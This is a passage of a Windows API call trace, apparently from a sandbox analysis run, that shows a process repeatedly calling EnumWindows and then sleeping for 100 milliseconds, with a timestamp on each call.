(lpEnumFunc=0x423dd0, lParam=0x410000) [0280.517] Sleep (dwMilliseconds=0x64) [0280.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.519] Sleep (dwMilliseconds=0x64) [0280.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.520] Sleep (dwMilliseconds=0x64) [0280.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.522] Sleep (dwMilliseconds=0x64) [0280.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.523] Sleep (dwMilliseconds=0x64) [0280.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.525] Sleep (dwMilliseconds=0x64) [0280.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.526] Sleep (dwMilliseconds=0x64) [0280.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.528] Sleep (dwMilliseconds=0x64) [0280.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.531] Sleep (dwMilliseconds=0x64) [0280.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.534] Sleep (dwMilliseconds=0x64) [0280.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.536] Sleep (dwMilliseconds=0x64) [0280.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.538] Sleep (dwMilliseconds=0x64) [0280.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.541] Sleep (dwMilliseconds=0x64) [0280.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.543] Sleep (dwMilliseconds=0x64) [0280.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.544] Sleep (dwMilliseconds=0x64) [0280.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.546] Sleep (dwMilliseconds=0x64) [0280.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.547] Sleep (dwMilliseconds=0x64) [0280.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.549] Sleep (dwMilliseconds=0x64) [0280.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.551] Sleep (dwMilliseconds=0x64) [0280.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.553] Sleep (dwMilliseconds=0x64) [0280.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.556] Sleep (dwMilliseconds=0x64) [0280.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.558] Sleep (dwMilliseconds=0x64) [0280.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.560] Sleep (dwMilliseconds=0x64) [0280.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.562] Sleep (dwMilliseconds=0x64) [0280.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.564] Sleep (dwMilliseconds=0x64) [0280.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.566] Sleep (dwMilliseconds=0x64) [0280.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.568] Sleep (dwMilliseconds=0x64) [0280.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.569] Sleep (dwMilliseconds=0x64) [0280.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.574] Sleep (dwMilliseconds=0x64) [0280.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.576] Sleep (dwMilliseconds=0x64) [0280.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.578] Sleep (dwMilliseconds=0x64) [0280.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.580] Sleep (dwMilliseconds=0x64) [0280.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.582] Sleep (dwMilliseconds=0x64) [0280.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.584] Sleep (dwMilliseconds=0x64) [0280.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.586] Sleep (dwMilliseconds=0x64) [0280.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.588] Sleep (dwMilliseconds=0x64) [0280.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.590] Sleep (dwMilliseconds=0x64) [0280.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.592] Sleep (dwMilliseconds=0x64) [0280.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.594] Sleep (dwMilliseconds=0x64) [0280.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.596] Sleep (dwMilliseconds=0x64) [0280.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.598] Sleep (dwMilliseconds=0x64) [0280.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.600] Sleep (dwMilliseconds=0x64) [0280.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.601] Sleep (dwMilliseconds=0x64) [0280.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.603] Sleep (dwMilliseconds=0x64) [0280.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.605] Sleep (dwMilliseconds=0x64) [0280.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.608] Sleep (dwMilliseconds=0x64) [0280.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.609] Sleep (dwMilliseconds=0x64) [0280.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.611] Sleep (dwMilliseconds=0x64) [0280.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.613] Sleep (dwMilliseconds=0x64) [0280.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.618] Sleep (dwMilliseconds=0x64) [0280.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.619] Sleep (dwMilliseconds=0x64) [0280.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.621] Sleep (dwMilliseconds=0x64) [0280.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.622] Sleep (dwMilliseconds=0x64) [0280.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.624] Sleep (dwMilliseconds=0x64) [0280.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.626] Sleep (dwMilliseconds=0x64) [0280.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.627] Sleep (dwMilliseconds=0x64) [0280.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.629] Sleep (dwMilliseconds=0x64) [0280.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.630] Sleep (dwMilliseconds=0x64) [0280.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.632] Sleep (dwMilliseconds=0x64) [0280.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.633] Sleep (dwMilliseconds=0x64) [0280.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.635] Sleep (dwMilliseconds=0x64) [0280.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.636] Sleep (dwMilliseconds=0x64) [0280.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.638] Sleep (dwMilliseconds=0x64) [0280.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.639] Sleep (dwMilliseconds=0x64) [0280.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.641] Sleep (dwMilliseconds=0x64) [0280.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.643] Sleep (dwMilliseconds=0x64) [0280.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.644] Sleep (dwMilliseconds=0x64) [0280.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.646] Sleep (dwMilliseconds=0x64) [0280.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.648] Sleep (dwMilliseconds=0x64) [0280.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.650] Sleep (dwMilliseconds=0x64) [0280.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.651] Sleep (dwMilliseconds=0x64) [0280.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.654] Sleep (dwMilliseconds=0x64) [0280.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.656] Sleep (dwMilliseconds=0x64) [0280.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.685] Sleep (dwMilliseconds=0x64) [0280.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.686] Sleep (dwMilliseconds=0x64) [0280.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.689] Sleep (dwMilliseconds=0x64) [0280.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.691] Sleep (dwMilliseconds=0x64) [0280.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.693] Sleep (dwMilliseconds=0x64) [0280.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.694] Sleep (dwMilliseconds=0x64) [0280.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.696] Sleep (dwMilliseconds=0x64) [0280.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.753] Sleep (dwMilliseconds=0x64) [0280.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.832] Sleep (dwMilliseconds=0x64) [0280.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.833] Sleep (dwMilliseconds=0x64) [0280.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.836] Sleep (dwMilliseconds=0x64) [0280.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.838] Sleep (dwMilliseconds=0x64) [0280.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.840] Sleep (dwMilliseconds=0x64) [0280.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.842] Sleep (dwMilliseconds=0x64) [0280.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.843] Sleep (dwMilliseconds=0x64) [0280.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.845] Sleep (dwMilliseconds=0x64) [0280.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.846] Sleep (dwMilliseconds=0x64) [0280.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.848] Sleep (dwMilliseconds=0x64) [0280.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.849] Sleep (dwMilliseconds=0x64) [0280.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.860] Sleep (dwMilliseconds=0x64) [0280.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.869] Sleep (dwMilliseconds=0x64) [0280.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.929] Sleep (dwMilliseconds=0x64) [0280.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.942] Sleep (dwMilliseconds=0x64) [0280.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.992] Sleep (dwMilliseconds=0x64) [0281.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.005] Sleep (dwMilliseconds=0x64) [0281.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.010] Sleep (dwMilliseconds=0x64) [0281.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.012] Sleep (dwMilliseconds=0x64) [0281.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.014] Sleep (dwMilliseconds=0x64) [0281.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.016] Sleep (dwMilliseconds=0x64) [0281.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.018] Sleep (dwMilliseconds=0x64) [0281.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.020] Sleep (dwMilliseconds=0x64) [0281.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.025] Sleep (dwMilliseconds=0x64) [0281.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.100] Sleep (dwMilliseconds=0x64) [0281.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.202] Sleep (dwMilliseconds=0x64) [0281.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.204] Sleep (dwMilliseconds=0x64) [0281.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.206] Sleep (dwMilliseconds=0x64) [0281.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.207] Sleep (dwMilliseconds=0x64) [0281.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.209] Sleep (dwMilliseconds=0x64) [0281.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.212] Sleep (dwMilliseconds=0x64) [0281.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.213] Sleep (dwMilliseconds=0x64) [0281.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.215] Sleep (dwMilliseconds=0x64) [0281.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.216] Sleep (dwMilliseconds=0x64) [0281.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.218] Sleep (dwMilliseconds=0x64) [0281.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.220] Sleep (dwMilliseconds=0x64) [0281.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.221] Sleep (dwMilliseconds=0x64) [0281.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.223] Sleep (dwMilliseconds=0x64) [0281.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.224] Sleep (dwMilliseconds=0x64) [0281.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.226] Sleep (dwMilliseconds=0x64) [0281.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.227] Sleep (dwMilliseconds=0x64) [0281.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.229] Sleep (dwMilliseconds=0x64) [0281.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.230] Sleep (dwMilliseconds=0x64) [0281.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.296] Sleep (dwMilliseconds=0x64) [0281.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.351] Sleep (dwMilliseconds=0x64) [0281.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.352] Sleep (dwMilliseconds=0x64) [0281.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.354] Sleep (dwMilliseconds=0x64) [0281.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.355] Sleep (dwMilliseconds=0x64) [0281.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.357] Sleep (dwMilliseconds=0x64) [0281.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.358] Sleep (dwMilliseconds=0x64) [0281.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.360] Sleep (dwMilliseconds=0x64) [0281.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.361] Sleep (dwMilliseconds=0x64) [0281.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.363] Sleep (dwMilliseconds=0x64) [0281.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.364] Sleep (dwMilliseconds=0x64) [0281.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.366] Sleep (dwMilliseconds=0x64) [0281.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.367] Sleep (dwMilliseconds=0x64) [0281.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.369] Sleep (dwMilliseconds=0x64) [0281.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.370] Sleep (dwMilliseconds=0x64) [0281.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.372] Sleep (dwMilliseconds=0x64) [0281.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.373] Sleep (dwMilliseconds=0x64) [0281.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.485] Sleep (dwMilliseconds=0x64) [0281.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.529] Sleep (dwMilliseconds=0x64) [0281.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.538] Sleep (dwMilliseconds=0x64) [0281.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.616] Sleep (dwMilliseconds=0x64) [0281.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.628] Sleep (dwMilliseconds=0x64) [0281.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.637] Sleep (dwMilliseconds=0x64) [0281.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.639] Sleep (dwMilliseconds=0x64) [0281.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.641] Sleep (dwMilliseconds=0x64) [0281.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.642] Sleep (dwMilliseconds=0x64) [0281.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.644] Sleep (dwMilliseconds=0x64) [0281.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.645] Sleep (dwMilliseconds=0x64) [0281.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.702] Sleep (dwMilliseconds=0x64) [0281.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.834] Sleep (dwMilliseconds=0x64) [0281.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.836] Sleep (dwMilliseconds=0x64) [0281.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.837] Sleep (dwMilliseconds=0x64) [0281.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.839] Sleep (dwMilliseconds=0x64) [0281.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.844] Sleep (dwMilliseconds=0x64) [0281.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.846] Sleep (dwMilliseconds=0x64) [0281.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.847] Sleep (dwMilliseconds=0x64) [0281.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.851] Sleep (dwMilliseconds=0x64) [0281.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.852] Sleep (dwMilliseconds=0x64) [0281.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.855] Sleep (dwMilliseconds=0x64) [0281.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.857] Sleep (dwMilliseconds=0x64) [0281.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.859] Sleep (dwMilliseconds=0x64) [0281.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.861] Sleep (dwMilliseconds=0x64) [0281.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.863] Sleep (dwMilliseconds=0x64) [0281.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.865] Sleep (dwMilliseconds=0x64) [0281.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.866] Sleep (dwMilliseconds=0x64) [0281.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.869] Sleep (dwMilliseconds=0x64) [0281.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.870] Sleep (dwMilliseconds=0x64) [0281.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.872] Sleep (dwMilliseconds=0x64) [0281.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.874] Sleep (dwMilliseconds=0x64) [0281.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.914] Sleep (dwMilliseconds=0x64) [0281.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.984] Sleep (dwMilliseconds=0x64) [0281.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.986] Sleep (dwMilliseconds=0x64) [0281.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.987] Sleep (dwMilliseconds=0x64) [0281.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.990] Sleep (dwMilliseconds=0x64) [0281.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.991] Sleep (dwMilliseconds=0x64) [0281.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.993] Sleep (dwMilliseconds=0x64) [0281.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.994] Sleep (dwMilliseconds=0x64) [0281.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.996] Sleep (dwMilliseconds=0x64) [0281.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0281.998] Sleep (dwMilliseconds=0x64) [0282.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.000] Sleep (dwMilliseconds=0x64) [0282.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.002] Sleep (dwMilliseconds=0x64) [0282.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.004] Sleep (dwMilliseconds=0x64) [0282.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.006] Sleep (dwMilliseconds=0x64) [0282.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.008] Sleep (dwMilliseconds=0x64) [0282.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.010] Sleep (dwMilliseconds=0x64) [0282.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.011] Sleep (dwMilliseconds=0x64) [0282.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.014] Sleep (dwMilliseconds=0x64) [0282.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.051] Sleep (dwMilliseconds=0x64) [0282.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.124] Sleep (dwMilliseconds=0x64) [0282.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.126] Sleep (dwMilliseconds=0x64) [0282.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.128] Sleep (dwMilliseconds=0x64) [0282.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.130] Sleep (dwMilliseconds=0x64) [0282.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.134] Sleep (dwMilliseconds=0x64) [0282.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.136] Sleep (dwMilliseconds=0x64) [0282.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.138] Sleep (dwMilliseconds=0x64) [0282.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.140] Sleep (dwMilliseconds=0x64) [0282.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.141] Sleep (dwMilliseconds=0x64) [0282.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.142] Sleep (dwMilliseconds=0x64) [0282.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.144] Sleep (dwMilliseconds=0x64) [0282.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.146] Sleep (dwMilliseconds=0x64) [0282.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.147] Sleep (dwMilliseconds=0x64) [0282.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.148] Sleep (dwMilliseconds=0x64) [0282.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.150] Sleep (dwMilliseconds=0x64) [0282.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.151] Sleep (dwMilliseconds=0x64) [0282.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.153] Sleep (dwMilliseconds=0x64) [0282.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.195] Sleep (dwMilliseconds=0x64) [0282.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.197] Sleep (dwMilliseconds=0x64) [0282.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.265] Sleep (dwMilliseconds=0x64) [0282.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.267] Sleep (dwMilliseconds=0x64) [0282.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.269] Sleep (dwMilliseconds=0x64) [0282.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.271] Sleep (dwMilliseconds=0x64) [0282.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.273] Sleep (dwMilliseconds=0x64) [0282.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.275] Sleep (dwMilliseconds=0x64) [0282.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.277] Sleep (dwMilliseconds=0x64) [0282.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.279] Sleep (dwMilliseconds=0x64) [0282.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.281] Sleep (dwMilliseconds=0x64) [0282.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.283] Sleep (dwMilliseconds=0x64) [0282.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.284] Sleep (dwMilliseconds=0x64) [0282.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.286] Sleep (dwMilliseconds=0x64) [0282.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.288] Sleep (dwMilliseconds=0x64) [0282.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.290] Sleep (dwMilliseconds=0x64) [0282.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.295] Sleep (dwMilliseconds=0x64) [0282.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.336] Sleep (dwMilliseconds=0x64) [0282.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.407] Sleep (dwMilliseconds=0x64) [0282.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.409] Sleep (dwMilliseconds=0x64) [0282.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.411] Sleep (dwMilliseconds=0x64) [0282.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.413] Sleep (dwMilliseconds=0x64) [0282.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.415] Sleep (dwMilliseconds=0x64) [0282.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.416] Sleep (dwMilliseconds=0x64) [0282.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.418] Sleep (dwMilliseconds=0x64) [0282.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.466] Sleep (dwMilliseconds=0x64) [0282.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.509] Sleep (dwMilliseconds=0x64) [0282.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.617] Sleep (dwMilliseconds=0x64) [0282.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.632] Sleep (dwMilliseconds=0x64) [0282.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.645] Sleep (dwMilliseconds=0x64) [0282.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.698] Sleep (dwMilliseconds=0x64) [0282.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.765] Sleep (dwMilliseconds=0x64) [0282.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0282.767] Sleep (dwMilliseconds=0x64) [0282.769] 